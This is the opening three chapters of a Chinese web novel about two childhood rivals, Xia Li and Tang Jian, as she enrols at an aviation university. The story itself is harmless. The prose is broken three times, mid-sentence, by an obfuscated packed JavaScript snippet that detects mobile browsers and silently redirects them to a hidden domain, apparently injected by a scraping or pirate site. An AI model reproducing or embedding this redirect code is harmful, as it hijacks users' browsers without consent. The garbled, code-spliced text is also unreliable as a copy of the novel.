《怎么可能天生不合》 1. 第 1 章 《怎么可能天生不合》 绾酒/文 晋江文学城首发 2025/05/07 _ 二楼卧室窗台上放着一颗头。 ……准确来说,是眼前这栋三层别墅二楼正对庭院那间卧室的窗户边上放着一颗长发挡着小半张脸的头。 此情此景不止屏幕前的各位觉得有点吓人,就连从小一拳能打八个的唐简也被这一幕给吓了一跳。以至他原本支着单车的左脚往旁一滑——嘚嘚嘚嘚嘚——单腿弹了七八下才在单车哐当哐当——两声响中勉强稳住趔趄的身子。 许是被楼下动静给吵到了,那颗脑袋上没被遮挡的右眼勉强睁开一条缝,不过一看是熟人,便不堪其扰地将脑袋像条懒猫似的往下一出溜——整颗头消失在了窗台边上。 “……”唐简无言以对地从头到尾见证着这一切——来之前老妈千叮咛万嘱咐看她这宝贝干闺女是不是一直窝在家里补觉有没有见见阳光晒晒太阳,可他设想过很多种情形和可能,唯独没想过她晒太阳的方式会如此的……令人惊悚。 不过此时,他倒完全可以想象得到方才她整个人骑趴在靠着窗边的长沙发背上……因为谨遵他妈的嘱咐——晒太阳,所以即使很困也要努力把脸露出来和太阳来个近距离接触。而现在?恐怕正努力以一个标准军姿的形式试图把自己塞进沙发缝里吧。 思及此,唐简颇为无奈似的摇头叹了口气,走过去扶起自己的赛车撑好,再捡起滚到两步外的那个足足五层的豪华保温餐盒,拍了拍保温袋上其实并不存在的尘土——庭院打扫的实在是太干净了。 唐简轻车熟路地推门进去,先是左拐走到至少可以容纳二十个人的餐厅里将提着的保温袋放到桌子上,再脚跟一旋往正冲着大门的旋转楼梯上去。他上到二楼绕过一间书房、一间健身室和一间多功能航模展示厅,站到距离楼梯最远的那间卧室敲了敲门,“夏篱?” “夏篱?” “……夏小篱?!”唐简加重了些手上的力道,扬声:“再不开门我就进——”去了。 他话没说完,听见房门咔哒一声。 唐简试着往下压了下门把……门开了。 推开门,就见先前那颗头的主人毫不客气地正把自己重新扔到沙发缝里。 夏篱其人,今年高考前一个星期刚满自己的十八岁生日——距今已过整整三个月。 而整十八岁又三个月的夏篱同学将于后天——也就是九月一号那天,迎来自己短短十八年生涯中的第101个证书——市篮球赛裁判资格证。 虽然此证只是篮球裁判资格证里最低的三级,但她也是迄今为止最年轻也耗时最短的获得者——而这,也是此时此刻唐简站在这里的原因。 自去年六月份唐简高中毕业拿了镜市男篮球赛冠军后,直至夏篱今年六月初高考完,他都一直还在纳闷从小无论大小事都要和他争个高低的夏小篱同学怎么会无动于衷风平浪静这么久……因为自唐简记事起,小到“幼儿园最漂亮宝宝奖”大到国际级的“中学生机器人竞赛金奖”,他前脚把证书拿到手,她后脚就能把新证书甩到他脸上。 今年暑假唐简因为专业原因,学期结束就去了海军航大基地集训。 这两个多月虽然他们也并不是没有联系,但他打过去的电话发出去的消息有时候甚至隔个好几天才能收到夏篱的回复,问她她就只是含糊其辞的说她太忙了,至于忙什么,她三缄其口,只一句“到时候你就知道了”来打发他。 唐简甚至去近两个月刚好在家休假的老妈那旁敲侧击地问她是不是谈恋爱了,在得到否定的答案后,唐简在松了口气的同时又免不得好奇她究竟在忙什么要忙这么久——直到昨晚到家看到她半个小时前发给他的网页截图——市篮球赛裁判资格通过,将于三天后发放证书的通知截图。 而因为遗憾没再能生下一个闺女便把好友女儿自小视如己出的唐母,届时才把夏篱这半年多来白天备战高考晚上自律打卡每天雷打不动的十公里体能特训的事一五一十的告诉了自己儿子。 唐简:“……”怎么说呢,不能不服。 之前唐简甚至想过她会不会去参加女子市篮球赛也拿个冠军——虽然夏篱赶着最后生长周期努力地跑步健身仍然只长到了164,但毕竟她在她那个庞大且各式各样的优秀基因的长辈的熏陶下长大,对于男生来说都要练习好久的三步投篮和远投三分球,她其实都算信手拈来。所以即使她身高不足以入市女篮,那也不代表他们不会为了惜才而破例收她。 可谁曾想夏篱竟然另辟蹊径,直接去考了裁判证。 “……” 至于唐简此时站在这里的原因其实也很简单,因为他干爸干妈——也就是夏篱的父母上周因为工作原因去了国外出差,明天才能赶回来;她哥从前年高中毕业开始寒暑假就一直瞒着身份在她家各个分公司里实习历练,这两年基本很少看见人;而住家阿姨也因为昨天回老家省亲……他妈怕她这心肝宝贝饿死在家里——当然,以他老妈对其的溺爱程度原话肯定不是这么说的。 ……而要不是唐母临出门前被那个堪比狗皮膏药似的嘤嘤怪邻居在玄关堵住脱不了身,恐怕他也没机会站到这。 唐简握着门把站在夏篱房间门口迟疑着——毕竟男女有别,自他小学毕业后,他就再没单独进过她的卧室了。 “夏篱,”最终唐简还是仅仅握着门把手站在门口看着把自己努力塞进沙发缝里的人扬声道,“下楼吃饭。我妈让阿姨给你做了你最爱吃的油焖大虾和糖醋小排。” “夏篱?” “夏小篱!” 唐简叫一声,房间里背对着他的人就扭着身子把自己往沙发缝里塞进一分,仿佛恨不得此时能真的变成一只鸵鸟将整个脑袋都塞进沙子里,以此就能摒弃掉他那恼人的声音。 唐简也知道自己这样有多烦人,可据老妈说,从昨天早餐过后到现在中午十一点半,她至少将近三十个小时没有再进食了…… 被她踩两脚总比直接给她收尸强吧——他体贴地想。 “你再不起来我妈就亲自来看着你——”,看着沙发缝里的人半天没动弹,最后唐简只能拿出杀手锏。果不其然这句话音还没落,就见方还瘫在沙发缝里的人几乎是零帧弹射起身——一脸晕乎地把自己晃进了门口浴室里。 十分钟后,洗漱干净的夏篱从浴室里出来,看到抱臂靠在门框上的高大身影时吓得又差点儿缩回浴室里,半晌才回神似的眨巴两下自己那圆溜溜的一双大眼睛仰脸看着面无表情盯着自己的发小好奇道,“你什么时候来的?” “……”对于别人睡迷糊时的“记忆模糊”而夏篱直接“断片”的能力唐简显然已经习以为常,他目光在她脑门上那两撮跟冲天炮似的竖着的刘海儿上欣赏了两秒,才两手插进裤兜里转身往楼梯那走,“刚刚。” 夏篱跟在唐简背后,不意外又带着些愤懑地盯着前面跟自己几步之遥的挺括背影。 尤记得她小学毕业那年两人身高明明都还是相差无几的,可直到他读了初二,他身条儿就跟淋了雨的小笋似的蹭蹭蹭往上窜个不停,直到去年大一上半学期结束寒假回来竟然还又不讲武德地长高了两公分。 反观她,初中毕业那年暑假她又是蹦又是跳地努力了一年才勉勉强强地又长高了一公分……可其实在他们这个庞大的家族里她也就只比她亲爱的妈咪高了一公分而已。 噢……这天杀的男女有别! 真是令人生气。 夏篱呲了呲牙,三步并作两步地小跑赶到马上到楼梯边的唐简身前,抬脚就踩——而多年来身体早已产生本能反应的唐简几乎也是零帧弹射地将自己的右脚给抬了起来。 “嘶——”唐简瞬间疼得倒抽一口气。 他靠着墙边抱着自己左脚咬牙切齿地看着心情甚好的夏篱一步一跳地往楼下走,“亏我怕你在家饿死了拿好吃的来投喂你,夏篱,你可真是个没良心的。” 已经到拐角的夏篱闻言回头仰着脸给了他个毫无形象的鬼脸,“那咋啦,没良心才能活得久呢!” “…………”唐简无言以对。 算你牛。 夏篱那一脚绝对没带藏私的,唐简想。 等他缓过神来一瘸一拐地到楼下时,恰好看见不知何时终于摆脱了那嘤嘤怪邻居赶过来的自己老妈从大门进来,手里还抱个绑着粉色蝴蝶结的大盒子。 云昭昭看着儿子赵四儿似的下楼方式有些莫名其妙,忧心道,“你怎么下个楼还能把脚给崴了啊儿子,这可不行呀宝贝,脆皮成这样最后可入选不了飞行员的!” 唐简:“…………” 他扭头看闻言憋笑憋地差点儿把嘴里的饭喷出来的罪魁祸首一眼,再看着自己老妈一脸平静地叙述,“我这是夏篱踩的。” “被阿篱不小心踩一脚就成这样了?”云昭昭有些震惊,“宝贝那你可真要多锻炼锻炼了,这有点太弱了。” “…………”唐简扭头再看一眼餐桌上已经把两颊憋成河豚的罪魁祸首,欲言又止地张了张嘴,随即不再自讨没趣,指着自家老妈怀里的大盒子转移话题,“这是什么?” “啊,看我光顾着跟你说话,差点把正事给忘了。”云昭昭抱着盒子走向餐厅,把手里的大盒子放到桌上看乖乖吃着饭的夏篱,怜爱地摸了摸她小脑袋,“怎么样宝贝,合不合胃口?” 夏篱嗦着煎得焦焦的虾壳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559822|171353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的酱汁,看着云昭昭眨巴着大眼睛先是点点头,再眯着眼睛看着她甜甜一笑,“干妈,这大虾真的绝了,好好吃。” “喜欢就多吃点,不够的话让阿简再回去拿,家里还有。” “啊真的吗?”夏篱一派天真的看了眼刚走近的唐简,无视他脸上威胁的神情,目光犹豫地看向云昭昭,“……还是不用了吧,怪麻烦的。” “这有什么麻烦的,就在隔壁又不远,十来分钟到了,况且阿简刚刚骑了车子过来的。” “还是别了 ,”夏篱推拒,“我刚才着急下楼吃饭,不小心踩了唐简一脚,他脚受伤了也不方便……还是算了。” “哎呀不会的,男子汉大丈夫怎么可能因为被女孩子不小心踩了一脚就连路都不能走了的?”云昭昭摇头,又看唐简,“对吧儿子?” “……”啊对对对。 唐简也没想再用像“还有那么多菜她吃不吃得完”这种毫无意义的话回怼什么,反正在老妈眼里,夏篱就算“指鹿为马”那也是正道的光。 等唐简从隔壁把剩下的大虾拿过来,夏篱明显已经吃完饭了。 大理石餐桌都擦得锃亮,正在跟云昭昭一起拆她刚拿过来的礼物盒子。 “你帮阿篱把东西放到冰箱里吧儿子。”云昭昭头也不回地吩咐。 “……” 因为小学就是在这栋房子里度过的,所以唐简可以说是对这里跟自家一样熟悉。 他驾轻就熟地把手里的餐盒拿到厨房放进冰箱,出来时,看到云昭昭拿着一件粉色连衣裙正在夏篱身前比划着。 连衣裙应该是特意订制的,裙摆上是用极简却也极灵动的白色勾勒出的夏篱最喜欢的机翼线条。 “怎么样,干妈没骗你吧?这种玫粉色跟你这冷白皮最配了,而且你看,这颜色和你黑色那块滑板上的玫粉色是不是一模一样?等你开学去学校正好搭一套。” 连衣裙是半休闲的长T恤收腰款式,下摆前后从左边大腿外侧斜着往下直到右小腿外侧。款式并没什么特别,但颜色确实非常亮眼,而且就像云昭昭说的那样,和本就是冷白皮的夏篱很配。 夏篱自己看着也非常喜欢,她爱不释手地抱着裙子在云昭昭脸颊上狠狠亲了口,“谢谢干妈,我好喜欢!我现在就去试试看!” 说完迫不及待地钻进一楼离餐厅最近的那间卧室。 送礼物的人最喜欢看到的一幕恐怕就是收礼物的人像刚刚夏篱那样直接又正向的反应,这也是从小到大唐简非常佩服她的其中一点。用现在正流行的一句话形容是怎么说来着?哦对,就是她真的非常懂得如何给对面的人情绪价值。 唐简记得她小学三年级时,学校组织的一场趣味运动会。 规则是几个同学一起用固定在头顶上的透明水杯接替传水,每个班都派出一组同学参加,看哪组最后剩得水多就获胜。 夏篱当时是他们那组的最后一个,杯里的水到她前面那个同学前还有大半杯,可前面那同学可能因为太紧张了,给夏篱传过来时直接洒了一大半出去,最后杯子里的水只剩了一半不到,那小姑娘直接就崩溃了,哭着给夏篱道歉,“对不起,我把水洒了好多——” 可谁知转身往终点冲刺的夏篱听见却是一边张着双臂小心翼翼维持平衡往前跑一边还不忘扬声打断她的话,说,“你好厉害呀,孟梦!水还剩了一半呢!你放心吧,我会好好保护它们的!” …… 唐简思绪正飞的时候,听见卧室门被拉开的声音。他本能地抬头看过去,就见换上连衣裙的夏篱像只粉色……玫粉色小蝴蝶似的从屋里喜眉笑眼地飘出来,一点不见外地在他和老妈面前转了两圈,然后捏着并不存在的裙角往后撤了半步一曲身,故作矜持地看着他们二人问道,“怎么样,好看吗?” 夏篱裸露在外的一双小臂和小腿同样白的晃眼,且因为经常锻炼,有着非常匀称和漂亮的线条。 “好看好看当然好看!” 云昭昭看着是从头顶到脚底板的满意,连连称赞道,“宝贝果然是衣架子,穿什么都漂亮!” 夏篱抿着唇继续矜持的笑,随后看向唐简又一曲身,用译制片里的腔调不死心地又问了一次,“阁下觉得如何呢?” 唐简表面八风不动的。 他波澜不惊地看了她一眼,那一眼简直迅如闪电。 少顷他握拳到唇边轻咳一下,镇定无比地转头抱胸看着她冷笑一声,“好看什么,像元宵成精。” 云昭昭糟心地看了一眼自家儿子:“…………” 反观夏篱闻言却是一点都没生气,冲着唐简优雅地翻了个白眼,继续以译制片腔调笑着如是评价他:“足下可真是没有品味。” 2. 第 2 章 镜市离北城距离上虽然很远,但在这二十一世纪的时间上只需飞两个半小时。 夏篱赶着9月3号报道截止这天过去。 虽然从小到大大多数时间里她横竖总是看唐简不太顺眼,但不得不说,一个自己并不是特别熟悉的地方有个熟人的感觉还是不错的——至少心理上没有太多对未知的恐惧和忐忑不安……然而思绪到这,原本看着篮球赛解析视频正打算拿水杯喝水的夏篱,手却突然顿在半空中不动了。 一旁座位上同样戴着耳机正看下载视频的唐简察觉到,目光睨过去,冲她询问地抬了抬英挺的眉。 夏篱把他右侧的耳机摘掉,说:“我刚刚的想法其实是不对的。” “……?” “说起来还真的都怪你。”她满脸遗憾又忧愁地叹了一口气。 “……”唐简直接把视频暂停了,他索性把另一侧耳机也摘掉,在机舱里独特的风声中友善道,“愿闻其详。” 夏篱把耳机还给他,“你看,高中毕业去读大学其实算是每个人人生中第一次正式离开自己从小长大的熟悉环境、离开父母离开小伙伴去独立生活的经历对不对?” 唐简点头,“没错。” 夏篱一摊手:“所以这本来应该是一个对未来充满期待和新鲜的经历啊,可因为你在那,却让我完全失去了这种可以体验的可能性。” “…………” “不是吗?” “…………” “我说的没有道理吗?” “…………” “你难道没什么要说的吗?”夏篱问。 “有。”唐简面无表情重新戴上耳机,说,“我觉得自己很冤枉。” 为了让夏小篱同学体验一下初为大学生的新鲜感,原本为了节省时间打算下飞机后直接打车到学校去的唐简临时决定带她去停车场找北城大学每年专门用来接新生的大巴车。 因为她大部分的行李都已经提前寄到了学校,所以两人可以算是轻装上阵——一人一个20寸的行李箱加他的一把吉他和她的一块滑板。 夏篱并没拒绝唐简为了展现绅士风度而帮她推行李箱的举动,相反没了行李箱的“累赘”,她滑滑板就方便多了。 唐简注意到即使是匆匆而过的旅客也会在她踩着滑板路过时回头望上一两眼——当然,那眼神中有好奇欣赏的也有羡慕和嫌弃的。 因为顾及着人群,夏篱速度其实并不快,只是偶尔在四处张望的同时随意地拿脚尖在地板上轻轻一点。 夏篱滑板的技术很好,这跟她有对年轻时就双人轮滑堪比专业选手的父母有挺大关系——至少类型天赋总是有的。 她今天穿着那天云昭昭送她的那条玫粉色连衣裙,及腰长发因气流一下轻轻荡起又轻轻落下,整个人即便是在机场这人来人往的人群中也分外亮眼。 少顷,夏篱踩着滑板到刚挂断电话的唐简旁边,说,“机场跟我们小时候来的那次好像是不一样了。” “嗯。”唐简把手机揣进兜里,重新推着行李箱示意她跟着自己走,“前几年国内和国际两个出站口都重新设计装修过。” “怪不得。” “嗯。” 因为有了去年的经验和刚刚跟室友的通话,唐简在偌大的停车场找学校的大巴车找的很顺利。 夏篱慢慢滑着跟在他身边,远远就瞧见一辆挂着“北城大学欢迎你”横幅的淡绿色大巴车。 两人还没走近,原本在车下忙活着的一个男生就隔着十几米的距离冲着他们小跑着过来,边跑边笑着大声招呼:“简哥简哥!这!这!” 唐简看跑过来的室友,“我又不瞎,喊这么大声。” “嘿嘿,”来人脾气很好地傻笑一声。随即一双眼直勾勾地看着在唐简身边停下,脚尖在滑板上一勾一挑,稳稳接住板子的夏篱,愣愣问:“这就是你常——” 他话没说完,被唐简当胸推过来的吉他包给砸断了,“靠——我胸!” 滑板的声音盖住了男生话头的几个字,夏篱倒是在听到最后俩字时噗哧一声被逗笑了,看着唐简问,“你朋友?” 唐简“嗯”了声,“齐司乐,三分之一室友。” 气死了?可真是个好名字。 她落落大方地朝齐司乐伸过去手,自我介绍,“你好,我叫夏篱。唐简发小。” “你好你好,”齐司乐绅士地握了下夏篱的手,用中指推了推鼻梁上的无框眼镜,表情很是受宠若惊,“我是唐简室友,齐司乐,齐天大圣的齐,司仪的司,乐就是快乐的那个乐。” “好名字。”夏篱由衷赞叹,随即好奇地反问他,“你刚刚说常什么?” “常?”齐司乐反映了两秒,“哦,常——” “《常回家看看》,他唱歌呢,不用理。”唐简再施打断大法,把齐司乐怀里的吉他拿过来,又把两个行李箱推给他,“少废话,带路。” 齐司乐:“……” 夏篱看着他们把行李箱放好,抱着滑板先一步上了车。刚上去迎面就跟挨着车门坐的一个短发女孩子四目相对上了。她自来熟地跟对方挥了挥手,“嗨。” 对方明显看着没她这么社牛,抿着唇对她笑笑回了她一句“你好”。 “妹妹,你和简哥的座位是最前面两个。”还在车下的齐司乐看两人上车,在后面喊了一句。 这辆大巴车上现在坐的人一半不到,唐简刚给齐司乐打的那个电话给他俩在大巴车上走了个“后门”,他留了前面两个视野开阔位置也比其他宽敞些的座位。 “我说了不许叫我‘妹妹’了哦!”夏篱隔着站在门阶上唐简有些过分宽的肩膀,弯腰看车门下的齐司乐强调道,“以后请直接叫我夏篱吧,谢谢你。” 三人刚走过来这一路,在知道自己比唐简小整整十个月后,齐司乐就一直喊她“妹妹”。夏篱不喜欢这个称呼。但显然刚刚自己礼貌带笑的拒绝对方并没放在心上,所以这会儿她脸上的表情看起来有些严肃。 不过她说完这句,紧接着还是又给他道了声谢,“谢谢你帮我们留位子。” 夏篱说完这句话,底下的齐司乐脸上蓦地带了几分尴尬,似乎是没想过这个看着挺漂亮可爱挺好说话的女孩子会如此正色又不留情面地当面这么跟他说。 而被一上一下夹在中间的唐简并没开口说什么,只是回头略带着些“我早就警告过你”的目光看了齐司乐一眼。 “OKOK,”齐司乐在底下还是好脾气地应了声,说,“以后叫你夏篱,可以了吧?” 夏篱冲他笑笑,从自己斜挎在身侧挂着一个飞机挂饰的小包里掏出来一根棒棒糖,“谢谢,请你吃。” 她拿棒棒糖在唐简面前摇了摇,示意他递给他。然而东西等唐简一接手就丝滑无比地揣进了他自己的裤兜里,顺便打掉身侧齐司乐伸过来的手,话是看着夏篱说的,“他蛀牙,不能吃糖。” 齐司乐在他身后抗议:“我智齿已经拔了!” “可你嘴里那么多牙都等着智齿呢,你打算全拔了?” “…………”靠,嘴真他妈毒! “噗——”车门边的女孩子把这仨人的小节目从头看到尾,听到唐简那一句实在是没忍住直接笑出来一声,随即迎着三人目光窘迫道,“……抱歉。” 唐简没作声,回头看了眼车外,对着齐司乐摆摆手,“快去忙你的吧。” 等把齐司乐打发走,唐简仰头看跟个门神似的还站在门口的夏篱,问:“还打算罚站多久?” “……”夏篱看了眼自己棒棒糖被挟持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559823|171353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的唐简裤兜,说,“你知道以咱俩现在这站位我一脚能把你踹进医院吧?” “那你踹?”唐简扬眉。 “不踹,”夏篱说,“不想坐牢。” “怕什么,我给你出谅解书。” “……”砸了自己脚的夏篱把手里的滑板推给唐简,“可我不打算接受你的谅解书!” …… 夏篱最终还是辜负了齐司乐的好意,没去坐前面的位子。在确定刚刚那女生也是自己一个人来报道身边座位空着后,她就坐在了她旁边。 两人在夏篱的主动下很快熟络起来,得知对方是新闻专业的,夏篱还挺激动,“我外婆当年就是从咱们学校的新闻专业毕业的,而且她有一个小名也叫‘甜甜’,虽然跟你名字里的恬字不一样,但是音是一样的。恬恬……呃,我可以这样叫你吗?” “当然。”辛恬笑着点点头。 夏篱开心地感叹了句,“我们真的好有缘分!” 辛恬赞同地再次笑着点了点头,少顷打量着夏篱由衷叹息:“你看起来好像真的很喜欢飞机。” 滑板、行李箱、脖子上的项链吊坠、手腕上的红绳配饰……甚至是背包上的挂饰都是各式各样的飞机样式。 夏篱顺着辛恬的视线抬起小臂晃了晃自己皓白的腕子,大眼弯弯地笑道:“是不是很好看?而且你看中间这个,这是咱们上半年刚解密服役的J-2135舰载机模型,前两个月我生日我爸爸特意送我的生日礼物。”她边说边摸了摸脖子上的吊坠,“跟这条项链是一套的,嘿嘿。” “……”好不好看的辛恬不予置评,只是觉得那些看着就晃眼的东西应该值不少钱吧。 她看着面前女孩眼睛里说起喜欢的东西仿佛亮晶晶的星星似的闪啊闪,也不知道是不是受夏篱笑容的感染,不自觉地也扬起了嘴角,说,“我觉得你好厉害。” “厉害?”夏篱疑惑地看她眼。 辛恬点点头,“咱们学校最有口皆碑的就是三航工程教育和科学研究,你不但考了进去,还是王牌学院里的王牌专业,飞行器设计与工程这个专业我听说真的很难考,要分巨高,最低分看着六百出头,实际好像680分都很悬的。你……方便问吗?” “当然,”夏篱点点头,“考都考完了,这有什么不能问的。不过我从小学习都很好,考试也是那种比较在行的,所以我的成绩对其他人来说不是很有参考价值……我是我们市理科高考状元。” “…………”辛恬失语片刻,对着夏篱抱了抱拳,“是在下冒昧了。”说完又免不得有些好奇问,“那你这个成绩应该会直接保送吧,怎么还想着高考呢?” 夏篱的回答很简单:“我喜欢自己的东西都能自己争取。” “……真酷。”辛恬艳羡道,“刚刚我还看到你滑板也滑得很好。” 夏篱“嗯”了声,看出来她眼里的羡慕,有些奇怪的反问她,“你不是也一样吗?” “我?” “对啊,”夏篱说,“你看,我们学校在国内甚至国际上都很有名,如今你也顺利地成为了其中的一份子。而且在即将踏进学校的这一刻,我们两个人还认识了,因此如果以后你想要学滑板,我还可以教你,这不是一件很有趣很值得开心的事情吗?” ——相对的,夏篱觉得自己现在所拥有的这些东西虽然都跟她的出生、她的家庭和遗传等等有撇不开的关系,但同样的,这其中也不能否认她的努力。 辛恬有些瞠目结舌地听着夏篱不假思索说出来的这番话——因为在此之前,她竟然从未想过自己其实也是很多人眼里所艳羡的一个幸运儿! 辛恬忽然醍醐灌顶般地反应过来——这是高手! 真正的高手! 她得到的这一切都是她应得的! 3. 第 3 章 齐司乐是今天专门负责机场到学校这条线的人,所以并没跟着他们这趟车回来。而大巴车到学校门口把他们这一半车的人给放下,紧接着就又赶往机场去接下一批新生了。 辛恬和夏篱加了联系方式后在校门口暂时分开,前者被同学院的一个大二学姐陪着去办入学手续,而夏篱自然就由身边的唐简带着去航空学院报道。 刚才夏篱跟辛恬说的话其实只说了冰山一角,事实上,不止夏篱的外婆是北城大学毕业的,她的外公、爷爷和奶奶都毕业于北城大学。不仅如此,四个人还是从小一起长大、感情甚至于很多有血缘关系的人还要亲近和信任的好朋友。那同样是一段精彩且充满热血的故事,但这里我们并不多赘言。 只是,或许是因为自小听了太多外公外婆的故事,儿时那些被写在作文里纯真且可爱的梦想——老师、警察、科学家等等的选择向来不在夏篱的选择之列。 她只想和外公一样,成为一名为家国大义所承认的、为人为民所敬仰的战斗机设计师。 那些很多人在长大后常常羞耻于谈论表达的梦想,夏篱从不觉得有什么可害羞和难以启齿的。 她努力地追随着外公的脚步,读国内最好的航空学院王牌专业,就是为了将来有一天,由她设计的战斗机可以飞上祖国边境的领空之上。 而原本推着行李走在前面的唐简,在察觉到身边的人没跟上来,及时停下脚回头看时,看到的就是这一幕:夏篱一手抱着滑板,一手遮在额头上,仰头眯着双眼认真地看着眼前这所对于任何人来说都过于伟岸和庄严的校门。她时常挂着微笑的脸颊上此时的表情是少见的肃穆和庄重,盛夏的尾声阳光依旧刺目地叫人睁不开双眼,唐简明明是看不清夏篱眼中情绪的,可他却仿佛看到了她眼眶里被折射出的那一点亮光。 晶莹且夺目。 唐简在夏篱重新迈步朝他走过来前适时地转开了眼,听着她以一丝难以掩饰地鼻音喊他,“唐建军。” “……” “唐建军?” “…………” “唐建军!” “……”唐简还是没应她的话,只是拿修长的大手威胁地掐在了夏篱纤细的脖颈上,示意她再敢喊一声这名字,他就要用力了。 ——因为唐简的生日是在八月一日建军节那天,后来高中某次两人吵架,夏篱福至心灵地就给他起了这一外号——建军啊建军……夏篱倒还真觉得这名字挺顺口的。 对于唐简的“威胁”,夏篱不以为意——反正他也不可能真的把自己掐死。 她抓着唐简薄夹克的袖口把他的手拽离自己的脖颈,从他手里拉过来自己的行李箱推着边往前走,边问他,“去年你不是也自己一个人来学校报道的吗?第一次……长大后第一次看到校门,想着自己以后要在这里待上好几年,你什么感觉?哭了吗?”她顿了顿,又补了一句,“我刚刚差点儿哭了。” “……”似乎是没想到她会这么坦诚地说自己刚刚哭出来的事,唐简意外地侧头看了她一眼——结果就看到这人冲他瞪着大眼睛往上扬了扬眉毛——好像在说“我就是哭啦,怎么啦”……夏篱果然是夏篱。 “所以你是为了不让他们看到你哭才执意不让他们陪你一起来报道的?”这里的“他们”自然是指包括他妈在内的家里的所有长辈们。 “当然不是……不只是,”夏篱改口,“我虽然知道他们非常爱我,但我也想让他们知道我已经长大了,所以希望他们可以以另外一种方式来爱我。”她顿了顿,仿佛是想他可以感同身受似的又补充说,“就像你小学在我家里住,读初一时非要搬回去自己住一样。自己住也不要保姆阿姨照顾,可刚开始为了让他们放心你不是也循序渐进的每天过来一起吃午饭,直到读高中才正式开始自己解决一日三餐吗?” “……”唐简忍住了原本想反驳她的话。 少顷只是开口问了她一句,“那为什么同意他们跟我一起过来?” “当然是因为他们信任你。”夏篱以一种“这还需要问”的目光看了他一眼,不假思索且有理有据,“虽然有时候你这人嘴又毒人品又差,但因为干爸干妈的优秀基因,你人也还行的,至少他们非常信任你。让他们意识到我长大并且完全可以自己照顾自己这件事虽然恳切,但也要循序渐进的嘛!” 唐简:“……” 简而言之他就是个工具人。可是——“我人品怎么差了?” 夏篱冲他掌心朝上:“你小学五年级骗我一千七百块去买航模的钱打算还我了吗?” “……”唐简深吸口气,“那本来就是我的压岁钱好吗?” “可你明明答应我要是我期末还能拿第一就把那份钱给我的!” “但你跟第一名还是差了一分。” “那是老师判错分了,那道选择题我明明是对的,我是满分!是第一!” “那也怪不得我,改分那也是事情发生之后了,不作数。” “……” “我得让你明白这世界上的人心险恶生存法则,错过了就是错过了,哪还有纠正的道理。” “……”夏篱斜眼睨着他,嘴角简直要耷拉到地上了,说,“唐建军,你的脸真是比J-20的钛合金蒙皮还要再厚三公分!” “……” 短暂的沉默后,唐简故意在她发顶上乱拨了下,“生气了?” 夏篱拍开他捣乱的手,平了平自己头发,哼了声,“我才没那么小气呢,看在你后来把那航模送我的份上我大人不记小人过。” “……”你可真大度。 “喂你别转移话题啊,你还没回答我刚刚的问题呢。” “什么?” “去年报道啊,想到自己要在这里待上好几年,你哭了没?” “首先,”唐简漫不经心地收回视线,看着前面其实已经走过千百次的路,说,“我在这里待不了好几年;其次,男儿有泪不轻弹,我可不像某人,看个校门都能看哭了。” 夏篱闻言撇撇嘴,低骂了声“臭屁”,随即又忍不住回怼着说,“科学证明我们女生泪腺天生就是比你们男生要发达的多,这是生理性不同导致的结果不同,压根儿没有什么可比性,所以就算你没哭,那也代表不了你比我厉害。” 唐简闻言面无表情拿大手罩在她头顶上一压,一句定生死:“那又怎么了,我长得也比你高。” “………………”夏篱再次拍开他的手,丢下一句“唐建军你可真讨厌”就把行李箱重新塞到他手里,踩着滑板兀自往前溜了。 因此她没看到唐简眼底那一泻而出的笑意和温柔。 唐简把两人行李一块存在新生行李处,带着她到各个地方去缴费。 事实证明,唐简这一年在学校不仅精进于自己的学业……还非常注重拓展自己的人际关系。 夏篱其实很早就发现,从校门口进来这一路,不论两人走到哪仿佛所有的人都认识他一样。 而且每当他们寒暄聊了几句,尤其在她自我介绍后,对方就总会以一种和齐司乐等于和约等于的眼神看着她,然后……再唱上一曲《常回家看看》。 等两人忙乎完拿到宿舍号,去快递站取了快递再吭哧吭哧往楼上搬行李时,夏篱实在是没忍住好奇地问了唐简一句,“我们校歌不可能改成《常回家看看》了吧?” 唐简压着心虚的号角,给了她一个“你在说什么大逆不道的话”的眼神。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559824|171353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……” 夏篱宿舍在七楼,住的是上床下桌的四人寝。 她到时,其他三个床铺都铺好了,不过并没人在里面。 等所有东西都搬完,她说剩下的她自己收拾就行,让唐简回去休息时后者并没说什么,只是拿手机看了眼时间说,“待会我买饭给你送过来中午你就在寝室吃吧,吃完休息会,晚上再带你去学校附近转转吃点好吃的。” “谢邀,不过婉拒了哈,”夏篱指着空着的三个床位说,“第一天我肯定要和舍友们联络联络感情的,才不要和你一起吃呢。” “……”过河拆桥用过即丢,可真是好样的啊夏小篱。 唐简离开没多久,正在铺床的夏篱就听到房门外一阵走近的脚步声,她闻声抬头,看到三个女孩前后脚进来。 